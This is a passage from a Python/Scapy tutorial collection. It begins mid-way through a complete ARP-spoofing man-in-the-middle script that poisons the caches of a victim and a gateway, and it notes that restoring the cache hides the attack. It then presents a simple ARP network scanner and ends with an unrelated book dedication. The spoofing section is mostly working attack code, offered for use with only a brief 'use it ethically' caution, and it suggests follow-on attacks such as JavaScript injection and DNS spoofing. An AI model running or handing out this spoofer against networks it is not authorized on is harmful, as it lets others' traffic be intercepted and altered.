We use Scapy's srp() function that sends requests as packets and keeps listening for responses; in this case, we're sending ARP requests and listening for any ARP responses. Second, we are going to create a function that does the core work of this tutorial; given a target IP address and a host IP address, it changes the ARP cache of the target IP address, saying that we have the host's IP address: def spoof(target_ip, host_ip, verbose=True): """ Spoofs `target_ip` saying that we are `host_ip`. it is accomplished by changing the ARP cache of the target (poisoning) """ # get the mac address of the target target_mac = get_mac(target_ip) # craft the arp 'is-at' operation packet, in other words; an ARP response # we don't specify 'hwsrc' (source MAC address) # because by default, 'hwsrc' is the real MAC address of the sender (ours)

arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at') # send the packet # verbose = 0 means that we send the packet without printing any thing send(arp_response, verbose=0) if verbose: # get the MAC address of the default interface we are using self_mac = ARP().hwsrc print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

The above code gets the MAC address of the target, crafts the malicious ARP reply (response) packet, and then sends it. Once we want to stop the attack, we need to re-assign the real addresses to the target device (as well as the gateway), if we don't do that, the victim will lose internet connection, and it will be evident that something happened, we don't want to do that, we will send seven legitimate ARP reply packets (a common practice) sequentially: def restore(target_ip, host_ip, verbose=True): """ Restores the normal process of a regular network This is done by sending the original informations (real IP and MAC of `host_ip` ) to `target_ip` """ # get the real MAC address of target target_mac = get_mac(target_ip) # get the real MAC address of spoofed (gateway, i.e router) host_mac = get_mac(host_ip) # crafting the restoring packet arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip,

hwsrc=host_mac, op="is-at") # sending the restoring packet # to restore the network to its normal process # we send each reply seven times for a good measure (count=7) send(arp_response, verbose=0, count=7) if verbose: print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

This was similar to the spoof() function, and the only difference is that it is sending few legitimate packets. In other words, it is sending true information. Now we are going to need to write the main code, which is spoofing both; the target and host (gateway) infinitely until CTRL+C is detected, so we will restore the original addresses: if __name__ == "__main__": # victim ip address target = "192.168.1.100" # gateway ip address host = "192.168.1.1" # print progress to the screen verbose = True # enable ip forwarding enable_ip_route() try: while True: # telling the `target` that we are the `host` spoof(target, host, verbose) # telling the `host` that we are the `target` spoof(host, target, verbose)

# sleep for one second time.sleep(1) except KeyboardInterrupt: print("[!] Detected CTRL+C ! restoring the network, please wait...") restore(target, host) restore(host, target)

I ran the script on a Linux machine. Here is a screenshot of my result:

In this example, I have used my personal computer as a victim. If you try to check your ARP cache:

You will see that the attacker's MAC address (in this case, "192.168.1.105") is the same as the gateway's. We're absolutely fooled! In the attacker's machine, when you click CTRL+C to close the program, here is a screenshot of the restore process:

Going back to the victim machine, you'll see the original MAC address of the gateway is restored:

Now, you may say what the benefit of being a man-in-the-middle is? Well, that's a critical question. In fact, you can do many things as long as you have a good experience with Scapy or any other man-in-the-middle tool; possibilities are endless. For example, you can inject javascript code in HTTP responses, DNS spoof your target, intercept files and modify them on the fly, network sniffing and monitoring, and much more. So, this was a quick demonstration of an ARP spoof attack, and remember, use this ethically! Use it on your private network, don't use it on a network you don't have authorization. Check this tutorial for detecting these kinds of attacks in your network!

PROJECT 28: Make a Network Scanner using Scapy in Python Building a simple network scanner using ARP requests and monitor the network using Scapy library in Python.

A network scanner is an important element for a network administrator as well as a penetration tester. It allows the user to map the network to find devices that are connected to the same network.

In this tutorial, you will learn how to build a simple network scanner using Scapy library in Python. I will assume you already have it installed, If it isn't the case, feel free to check these tutorials: How to Install Scapy on Windows How to Install Scapy on Ubuntu You can also refer to Scapy's official documentation. Back to the point, there are many ways out there to scan computers in a single network, but we are going to use one of the popular ways which is using ARP requests. First, we gonna need to import essential methods from scapy: from scapy.all import ARP, Ether, srp

Second, we gonna need to make an ARP request as shown in the following image:

The network scanner will send the ARP request indicating who has some specific IP address, let's say "192.168.1.1", the owner of that IP address ( the target ) will automatically respond saying that he is "192.168.1.1", with that response, the MAC address will also be included in the packet, this allows us to successfully retrieve all network users' IP and MAC addresses simultaneously when we send a broadcast packet (sending a packet to all the devices in the network). Note that you can change the MAC address of your machine, so keep that in mind while retrieving the MAC addresses, as they may change from one time to another if you're in a public network. The ARP response is demonstrated in the following figure:

So, let us craft these packets: target_ip = "192.168.1.1/24" # IP Address for the destination # create ARP packet arp = ARP(pdst=target_ip) # create the Ether broadcast packet # ff:ff:ff:ff:ff:ff MAC address indicates broadcasting ether = Ether(dst="ff:ff:ff:ff:ff:ff") # stack them packet = ether/arp

Note: In case you are not familiar with the notation "/24" or "/16" after the IP address, it is basically an IP range here, for example, "192.168.1.1/24" is a range from "192.168.1.0" to "192.168.1.255", please read more about CIDR Notation.

Now we have created these packets, we need to send them using srp() function which sends and receives packets at layer 2, we set the timeout to 3 so the script won't get stuck: result = srp(packet, timeout=3)[0]

result now is a list of pairs that is of the format (sent_packet, received_packet) , let's iterate over them: # a list of clients, we will fill this in the upcoming loop clients = [] for sent, received in result: # for each response, append ip and mac address to `clients` list clients.append({'ip': received.psrc, 'mac': received.hwsrc})

Now all we need to do is to print this list we have just filled: # print clients print("Available devices in the network:") print("IP" + " "*18+"MAC") for client in clients: print("{:16} {}".format(client['ip'], client['mac']))

Full code: from scapy.all import ARP, Ether, srp target_ip = "192.168.1.1/24"

# IP Address for the destination # create ARP packet arp = ARP(pdst=target_ip) # create the Ether broadcast packet # ff:ff:ff:ff:ff:ff MAC address indicates broadcasting ether = Ether(dst="ff:ff:ff:ff:ff:ff") # stack them packet = ether/arp result = srp(packet, timeout=3, verbose=0)[0] # a list of clients, we will fill this in the upcoming loop clients = [] for sent, received in result: # for each response, append ip and mac address to `clients` list clients.append({'ip': received.psrc, 'mac': received.hwsrc}) # print clients print("Available devices in the network:") print("IP" + " "*18+"MAC") for client in clients: print("{:16} {}".format(client['ip'], client['mac']))

Here is a screenshot of my result in my personal network:

Alright, we are done with this tutorial, see how you can extend this and make it more convenient to replace other scanning tools. If you wish to scan nearby networks, check this tutorial. And remember, don't -paste, write it on your own to understand properly!

Summary This book is dedicated to the readers who take time to write me each day. Every morning I’m greeted by various emails — some with requests, a few with complaints, and then there are the very few that just say thank you. All these emails encourage and challenge me as an author — to better both my books and myself. Thank you!